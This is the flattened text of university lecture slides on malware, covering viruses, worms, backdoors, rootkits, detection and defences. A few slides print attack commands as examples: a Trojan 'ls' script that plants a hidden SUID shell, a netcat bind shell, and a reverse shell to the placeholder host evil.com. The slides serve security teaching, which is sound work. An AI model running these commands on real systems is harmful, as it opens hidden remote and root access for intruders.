CSC 382 Computer Security Malware CSC 382 Computer

CSC 382: Computer Security Malware CSC 382: Computer Security 1

Topic 1. Types of Malware 1. 2. 3. 4. 5. 6. Trojan Horses Viruses Worms Backdoors Rootkits Self-Protection Mechanisms. Payloads. Malware Interactions. Detecting Malware. Defending against Malware. CSC 382: Computer Security 2

Types of Malware Trojan Horse Tricks user into executing malicious code. Virus Copies self into other files. Worm Copies self from computer to computer. Backdoors Leaves opening for attacker to gain access. Rootkits Hides attacker activities from system administrators. CSC 382: Computer Security 3

What about Spyware? Malware by any other name… – Corporate malware. – Presents legal issues for anti-malware software. CSC 382: Computer Security 4

Trojan Horse Program with both an overt and covert effect – Displays expected behavior when user executes. – Covert effect (executed with user’s privileges) violates security policy. Attacker: cat >ls cp /bin/sh /tmp/. xxsh chmod u+s, o+x /tmp/. xxsh rm. /ls ls $* ^D Victim: ls CSC 382: Computer Security 5

Virus Self-replicating code – Propagating (replicating) Trojan horse. – Inserts (possibly evolved) copy into other files. Virus Pseudocode: If spread condition then Foreach target-file if not infected then copy virus to target-file Perform (malicious) action Execute normal code CSC 382: Computer Security 6

Types of Viruses 1. Boot Sector – – – When system boots, code in boot sector executed. Propagate by altering boot disk creation. Uncommon today because of low use of boot floppies. 2. Executable – – – Infects executable programs (e. g. , COM, EXE). Executes when infected program is run. Virus usually runs first, then runs original code. 3. Dynamic Library – – Infected dynamicly linked libraries (DLLs. ) Executed when any program uses infected DLL. CSC 382: Computer Security 7

Types of Viruses 4. Device Driver – – Infects loadable device driver. Executes in kernel mode. 5. Virtual Machine (. NET) – – Infects. NET MSIL binaries. Portable: compiled to native code by CLR. 6. Archive Infectors – – Inserts Trojan horse into ZIP files. Uses social engineering techniques to get user to run. CSC 382: Computer Security 8

Types of Viruses 7. Macro Virus – Infects embedded interpreted code. – Needs interpreter like sh, MS Word macro. – Can infect executables or data files • Executables must invoke appropriate interpreter. – Most modern data formats support some type of scripting, including • • • Microsoft Office Windows Help files HTML: VBScript, JScript CSC 382: Computer Security 9

Infection Methods 1. Overwriting – Overwrites program code with virus. – Breaks infected program. 2. Appending – Append virus code to executable. – Insert JMP at beginning of executable. 3. Prepending – Insert virus code at beginning of executable. – Shift original code to follow virus. CSC 382: Computer Security 10

Infection Methods 4. Parasitic – Inserts virus code at beginning of executable. – Shifts beginning of program to end of file. 5. Cavity – Insert virus code into unused blocks of file. – Insert JMP at beginning of executable. 6. Fractionated Cavity – Fragment virus; inject into multiple cavities. – Loader reads fragments into continuous memory. CSC 382: Computer Security 11

Infection Methods 7. Compressing – – Compresses executable to make space. Inserts virus and decompression code. 8. Fragmenting – – – Dynamically fragment virus. Insert fragments by overwriting or shifting code. Fragments JMP/CALL each other. 9. Companion – – Infects COM file of same name as EXE file. Infects alternate data stream of Win 32 file. CSC 382: Computer Security 12

In-Memory Strategies Direct Action – Virus runs only when infected code is run. Memory Resident – – – Remains active in memory after application terminates. Interrupt hook (TSR) in DOS. Kernel-mode rootkit techniques under modern OSes. Can infect any program that runs after virus. Example: Jerusalem Virus (Danube variant) • Multipartite TSR virus. • Infects all executables except command. com. • Also infects boot sector. • Deletes files on Friday the 13 th. CSC 382: Computer Security 13

Worms Copies self from one computer to another Self-replicating: No user action required unlike virus or Trojan horse programs. Spreads via network protocols ex: SMTP (email), fingerd, MS SQL CSC 382: Computer Security 14

History of Worms Morris Worm Nov 1988 Disabled most of Internet using multiple vectors. Melissa Mar 1999 MS Word macro virus spread via Outlook email. Code Red Aug 2001 IIS Buffer overflow. Code Green Slammer Sobig Sep 2001 Removed Code Red II and patched vulnerability. Jan 2003 SQL Server worm infected Internet <1 hr. Jun 2003 Spam zombie botnet; RCI. CSC 382: Computer Security 15

Worm Components 1. 2. 3. 4. 5. 6. Vector Propagation Engine Remote Control Interface Target Selection Algorithm Scanning Engine Payload CSC 382: Computer Security 16

Vector Software to gain access to target host. Common vectors: – Buffer overflow exploits. – Network file sharing, both NFS/SMB and P 2 P. – Social-engineering via email or IM. – Weak passwords. – Parasitism: target backdoors and worm flaws. CSC 382: Computer Security 17

Propagation Engine Transfers worm to host exploited by vector. – Small worms like Slammer included in vector. Worm Propagation Methods: – FTP – HTTP – SMB – TFTP CSC 382: Computer Security 18

Remote Control Interface RCI allows creator to control infected hosts. Many worms do not have a RCI. May be a well-known backdoor program. Common remote control features: Start/stop infecting new targets. Download new vectors. Download new target selectors. Download new payloads. CSC 382: Computer Security 19

Target Selection Selecting targets for potential infection. E-mail address harvesting – Address books. – Parse disk files. – Search news groups. Network share enumeration – Check for filesystems shared with other systems. Network scanning – Target hosts on current network and connected nets. – Randomized scanning of Internet space. Web searching – Search Google for addresses or vulnerable software. CSC 382: Computer Security 20

Scanning Engine Check targets for vulnerabilities. – If vector small, scanning can be skipped. Scan for vulnerable services. – Like targeted nmap port scan. OS Check – Check for correct OS for vector to work. Version checking. – Check version of target software. – May customize vector based on information. CSC 382: Computer Security 21

Morris Worm • First Internet Worm: November 1988 • Multi-architecture: Sun, VAX • Multi-vector – sendmail (debug backdoor) – fingerd (buffer overflow) – rsh (open. rhosts; password cracking) CSC 382: Computer Security 22

Morris Worm Spreading algorithm Local network topology: gateways, neighbors. Used users’. rhosts, . forward files. Limited reinfection rate. Detection Avoidance Forged process listing as (sh). Removed created files quickly after use. CSC 382: Computer Security 23

Morris Worm Resource Requirements Disk Space. C compiler and linker. Network connection to parent computer. Problems Didn’t limit re-infections. Saturated CPU, network resources. CSC 382: Computer Security 24

CSC 382: Computer Security 25

Types of Backdoors 1. Local Privilege Escalation 2. Remote Command Execution 3. Remote Shell Access 4. Remote GUI Control CSC 382: Computer Security 26

Backdoor Techniques 1. 2. 3. 4. 5. 6. 7. 8. 9. Trojan-horse login or hidden SUID root shell Open shell on high port, via netcat or inetd Reverse telnet connection Trojaned ssh running on a high port Telnet-type service on high UDP port Covert channel: Loki “ICMP telnet” CGI “shell” script on web server Port knocking: backdoor service only begins to listen on port after a certain sequence of attempted connections are made to closed ports. Sniffer-based backdoor: backdoor service begins to accept commands after receiving special packet not addressed to IP address. CSC 382: Computer Security 27

Netcat Backdoors # nc –l –p 2222 –e /bin/sh (server on victim) $ nc victim. org 2222 (client on attacker host) stdin Netcat (client) Netcat (server) Network stdout CSC 382: Computer Security 28

Reverse Backdoors • What if the firewall blocks port 2222? • What if the firewall blocks all incoming connections to victim. org? • Solution: – Run the listener on the attacker host (evil. com). nc –l –p 80 – Run the client with a shell on the victim host. nc evil. com 80 –e /bin/sh CSC 382: Computer Security 29

Finding Backdoor Scripts Manual Scan Time-consuming and error prone. Automatic UNIX: chkrootkit, Titan Windows: Autorun from www. sysinternals. com File Integrity Check HIDS like Tripwire CSC 382: Computer Security 30

What is a rootkit? Collection of attacker tools installed after an intruder has gained access – Log cleaners – File/process/user hiding tools – Network sniffers – Backdoor programs CSC 382: Computer Security 31

Rootkit Goals 1. Remove evidence of original attack and activity that led to rootkit installation. 2. Hide future attacker activity (files, network connections, processes) and prevent it from being logged. 3. Enable future access to system by attacker. 4. Install tools to widen scope of penetration. 5. Secure system so other attackers can’t take control of system from original attacker. CSC 382: Computer Security 32

Rootkit Types Binary Rootkits – Replace user programs like ls, netstat, and ps to hide malicious activity – Add backdoors to programs like login and sshd Library Rootkits – Replace core system libraries to intercept common system calls to hide activities and add backdoors Kernel Rootkits – Modify system calls/structures that all user-mode programs rely on to list users, processes, and sockets – Add backdoors to kernel itself CSC 382: Computer Security 33

Knark • Linux-based LKM rootkit • Features – – – – Hide/unhide files or directories Hide TCP or UDP connections Execution redirection Unauthenticated privilege escalation Utility to change UID/GID of a running process. Unauthenticated, privileged remote execution daemon. Kill – 31 to hide a running process. • modhide: assistant LKM that hides Knark from module listing attempts. CSC 382: Computer Security 34

Rootkit Detection • Online scan – Examine commonly changed files and logs. – Scan kernel modules, examine kernel memory. – Examples: chkrootkit or carbonite • Offline system examination – Mount and examine disk using another OS kernel+image. – Knoppix: live CD linux distribution. • Computer Forensics – Examine disk below filesystem level. – Helix: live CD linux forensics tool. CSC 382: Computer Security 35

Malware Self-Protection Anti-debugging Detect/disable debuggers when used to analyze code. Attack anti-malware tools Disable anti-malware tools upon infection. Kill processes or destroy/modify signatures. API checksums Avoid having UNIX/Win 32 API calls in code. Store checksums of API names and search for match. Code obfuscation Use unusual tricks and unused code to avoid dissassembly and prevent quick analysis of purpose. Self-modifying code. CSC 382: Computer Security 36

Self-Protection Compression Code looks almost random; size is smaller. Use unusual executable packers to avoid analysis. Data encryption Encrypt strings, hostnames, IP addresses to avoid detection. Embedding Embed infection in one format inside a document inside an archive file. Scanners have to understand have time to parse and decompress each file format. CSC 382: Computer Security 37

Self-Protection Entry-Point Obscuring Changing initial code or entry point easy to notice. Alter program code to gain control randomly. Host morphing Alter host file during infection to prevent removal. CSC 382: Computer Security 38

Self-Protection: Encryption Encrypt all code except small decryptor. – Note that copy protected files will have similar decryptors to prevent analysis too. – Often uses multiple decryptors. – Change encryption key dynamically. Random Decryption Algorithm (RDA) – Choose random key for encryption. – Brute force search for key to decrypt. – Slows VMs/debuggers used for analysis. CSC 382: Computer Security 39

Self-Protection: Polymorphism Alter malware code with each infection. – Cannot be detected by signature scanning. – May alter decryptor only or entire code. – Insert junk instructions that do nothing. – Fragment and rearrange order of code. – Alternate sets of instructions for the same task. • Ex: SUB -1 instead of ADD 1 – Randomize names in macro viruses. CSC 382: Computer Security 40

Case Study: Zmist EPO, encrypted, polymorphic virus. Code integration Decompiles PE files to smallest elements. Inserts virus randomly into existing code. Rebuilds executable. Polymorphic decryptor Inserted as random fragments linked by JMPs. Randomizes self with ETG engine. CSC 382: Computer Security 41

Payloads Accidentally destructive. Replication damages data due or exhausts system resources due to malware bugs. Ex: Morris Worm reinfected hosts, using all CPU. Nondestructive. Displays message, graphics, sound, or open CD door. Ex: Christma worm on IBM network in 1987. Destructive. Triggers randomly or on some event or machine type. Deletes files or overwrites data. Hardware destroyers: overwrite BIOS. CSC 382: Computer Security 42

Payloads Denial of Service Sometimes accidental due to high network use. Launch DDOS attack with all infected systems. Data Theft Phishing scams and spyware. Encryptors Encrypts user data. Ex: One_Half encrypts disk; enables access while running. Ex: AIDS Info: encrypts disk and holds for ransom. Spam Use network of infected systems to launder spam email. Ex: Sobig worm. CSC 382: Computer Security 43

Malware Interactions What happens when a virus infects a worm? Typically both propagate. May use each other’s self-protection techniques. What if anti-virus software removes a virus? Likely leaves unknown virus/worm alone. May mutate the malware into a new form. Competition and Parasitism Malware may remove competing malware. May exploit backdoors/RCI left by previous malware. May infect competing malware, hijacking its propagation. CSC 382: Computer Security 44

Theory of Malicious Code Theorem 22 -1: It is undecidable whether an arbitrary program contains a computer virus. Proof: Define virus v as TM program that copies v to other parts of the tape, while not overwriting any part of v. Reduce to Halting Problem: T’ running code V’ reproduces V iff running T on V halts. Theorem 22 -2: It is undecidable whether an arbitrary program contains malicious logic. CSC 382: Computer Security 45

Detecting Malware Signature-based – Look for known patterns in malicious code. – Defeated by polymorphic viruses. Smart scanning – Skips junk instructions inserted by poly engines. – Skips whitespace/case changes in macro viruses. Decryption – Brute-forces simple XOR-based encryption. – Checks decrypted text against small virus sig to decide whether has plaintext or not. CSC 382: Computer Security 46

Detecting Malware Code Emulation – Execute potential malware on VM. – Scan VM memory after certain # iterations. – Watch instructions for decryptor profile. Code Optimization. – Optimize away junk instructions and odd techniques used by polymorphic viruses. CSC 382: Computer Security 47

Detecting Malware Heuristics – Code execution starts in last section. – Suspicious code redirection. – Suspicious section ACLs or size. – Suspicious library routine imports. – Hard-coded pointers into OS kernel. Neural Network Heuristics – IBM researchers trained neural net to recognize difficult polymorphic viruses. – Released in Symantec antivirus. CSC 382: Computer Security 48

Detecting Malware Behavior-based – Watch for known actions from malicious code. – Network access signature of worm. – Unexpected use of dangerous system calls. Integrity Checking – Host-based Intrusion Detection System. – Record MAC, size, dates, ACL of files. – Periodically check for changes. – ex: Tripwire, AIDE CSC 382: Computer Security 49

Defences Separate data and instructions – Virus treats program as data • Writes self to file. – Virus treats program as instructions • Virus executes when program is run. – Solution: Treat all programs as data until trusted authority marks as executable. • Development difficult when compilers can’t produce executable code. CSC 382: Computer Security 50

Defences Limit Information Flow – Virus executes with user’s identity. – Soln: Limit information flow between users. • Set flow distance to be one for users A, B, C. • A creates virus (fd=0), B executes it (fd=1). • C cannot execute B’s infected program (fd=2). – Indirect virus spread limited. – How can we track information flow? CSC 382: Computer Security 51

Defences Least Privilege Program Reads Writes Execs – User drops privileges cc when running as program. ld – Programs run with least privilege. – ex: Limit files accessible by compiler stages. CSC 382: Computer Security *. [ch] *. s *. o *. [ao] *. out as, ld 52

Defences Sandboxing Execute code in protected region. ex: sandbox, VM Multilevel Integrity Policies Place programs at lowest level. Prevents processes from writing to lower levels. ex: DG/UX virus protection region CSC 382: Computer Security 53

Defences Validate program actions with policy Limit access to system calls. Example: systrace. Check statistical characteristics. Programmer style. Compare source code with object. Statistics of write frequencies, program executions. CSC 382: Computer Security 54

Defences Counter-worms – A worm that removes specific target worms from network. – ex: Nachi/Welchia • Multi-vector W 32 worm • Nachi. A removes W 32/Blaster worm • Nachi. B removes W 32/My. Doom worm CSC 382: Computer Security 55

The Future: Speed Fast Worms: Slammer – Attacked MS SQL servers. – Worm is single 404 -bye UDP packet. – Random-scan (PRNG bugs limited. ) – Limited by network bandwidth, not latency. – Observed scan rate of 26, 000 hosts/second. – Infected 90% of vulnerable hosts in 10 min. – Too fast for humans to react. CSC 382: Computer Security 56

The Future: Profitable Worms: Sobig – W 32 worm using email/network share vectors. – Contains upgrade mechanism • Worm checked sites every few minutes. • When site valid, downloaded code. • Later variants could update upgrade server list. – Downloaded payload from upgrade mechanism • Key logger. • Wingate proxy server (for spam proxying. ) CSC 382: Computer Security 57

The Future: Offline Impact Davis-Besse nuclear power plant Slammer infected Plant Process Computer and Safety Parameter Display System (Jan 2003. ) Analog backups unaffected. Infected contractor’s network, then moved through T 1 line that bypassed plant firewall. Seattle 911 system Slammer disabled computer systems. Dispatchers reverted to manual systems. 2003 Blackout Blaster infected First Energy systems. CSC 382: Computer Security 58

Malware Trends 2005 Profit Backdoor. Lala transfers authentication cookies for e. Bay, Pay. Pal, etc. to maker. PWSteal. Bancos automates phishing by displaying fake web pages when browser goes to certain bank sites. Spyware and Adware More than ever using Trojan techniques. Win 32/Bube virus exploits IE flaw and acts as a virus infecting IE, then downloads adware. CSC 382: Computer Security 59

Malware Trends 2005 Online game attacks Trojans steal game identities/items, sell for $. Botnets Estimated growth of 300, 000/month. Do. S, key/network logging, worm initialization. IM Worms Primarily VB code targeting MSN Messenger. Typically use link to infected site with file, instead of using IM direct file transfer. CSC 382: Computer Security 60

Malware Trends 2005 Mobile malware Cabir virus infecting Symbian OS mobile phones using Bluetooth appeared June 2004. Dozens of Trojans, viruses, and worms appeared using similar techniques. CSC 382: Computer Security 61

References 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. Ross Anderson, Security Engineering, Wiley, 2001. Matt Bishop, Computer Security: Art and Science, Addison-Wesley, 2003. William Cheswick, Steven Bellovin, and Avriel Rubin, Firewalls and Internet Security, 2 nd edition, 2003. Fred Cohen, http: //www. all. net/books/virus/part 1. html, 1984. Simson Garfinkel, Gene Spafford, and Alan Schartz, Practical UNIX and Internet Security, 3 rd edition, O’Reilly & Associates, 2003. Alexander Gostev, “Malware Evolution: January - March 2005, ” http: //www. viruslist. com/en/analysis? pubid=162454316, April 18 2005. Elias Levy, “Crossover: Online Pests Plaguing the Offline World, ” IEEE Security & Privacy, 2003. Stuart Mc. Clure, Joel Scambray, George Kurtz, Hacking Exposed, 3 rd edition, Mc. Graw-Hill, 2001. Hilarie Orman, “The Morris Worm: A Fifteen-Year Perspective, ” IEEE Security & Privacy, 2003 Cyrus Peikari and Anton Chuvakin, Security Warrior, O’Reilly & Associates, 2003. Ed Skoudis, Counter Hack, Prentice Hall, 2002. Ed Skoudis and Lenny Zeltser, Malware: Fighting Malicious Code, Prentice Hall, 2003. Staniford, Stuart, Paxson, Vern, and Weaver, Nicholas, ‘How to 0 wn the Internet in Your Spare Time, ” Proceedings of the 11 th USENIX Security Symposium, 2002 Peter Szor, The Art of Computer Virus Research and Defense, Addison-Wesley, 2005. CSC 382: Computer Security 62